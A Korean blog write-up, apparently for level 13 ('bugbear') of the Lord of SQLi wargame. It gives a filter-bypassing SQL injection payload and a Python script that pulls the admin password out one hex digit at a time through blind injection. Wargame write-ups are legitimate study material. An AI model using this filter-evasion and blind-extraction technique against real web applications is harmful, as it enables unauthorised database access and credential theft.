
13번째 문제 bugbear다.
substr ascii = or and like 0x 가 모두 필터링 되어 있다.
substr() 은 mid() 로
or and 는 || && 로
= 과 like 모두 필터링하기 때문에 in 구문을 사용해주었다.
------------( in 구문은 파이썬의 in 을 생각하면 이해하기 쉽다.) ------------
또한 ord() 함수도 같이 필터링되기 때문에 hex() 함수를 이용해서 풀었다.
따라서
pw=1&no=0%09||%09id%09in%09("admin");--%09-
를 넣으면

쿼리를 뚫었다.
import requests
php = '세션값'
pl = 0
for i in range(1,10):
r = requests.get(url, params={'pw':'0','no':f'1\t||\tid\tin\t("admin")\t&&\tlength(pw)\tin\t({i});--\t-'},cookies={'PHPSESSID':php})
if 'Hello admin' in r.text:
print(f'password length --> {i}')
pl = i
break
for i in range(1,pl+1):
for j in range(1,3):
for l in range(1,16):
a = hex(l).split('0x')[1]
r = requests.get(url, params={'pw':'1','no':f'1\t||\tid\tin\t("admin")\t&&\tmid(hex(mid(pw,{i},1)),{j},1)\tin\t({a});--\t-'},cookies={'PHPSESSID':php})
if 'Hello admin' in r.text:
print(f'{i}의 {j}번째 --> {a}')
위 코드 결과로 아래 값들이 나와서
chr(int('0x35',16))+chr(int('0x32',16))+chr(int('0x64',16))+chr(int('0x63',16))+chr(int('0x33',16))+chr(int('0x39',16))+chr(int('0x39',16))+chr(int('0x31',16))
이렇게 문자열로 다시 바꿔주었다.

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - assassin (0) | 2024.10.18 |
|---|---|
| LOS - giant (0) | 2024.10.18 |
| LOS - darkknight (0) | 2024.09.17 |
| LOS - golem (1) | 2024.09.17 |
| LOS - skeleton (0) | 2024.09.17 |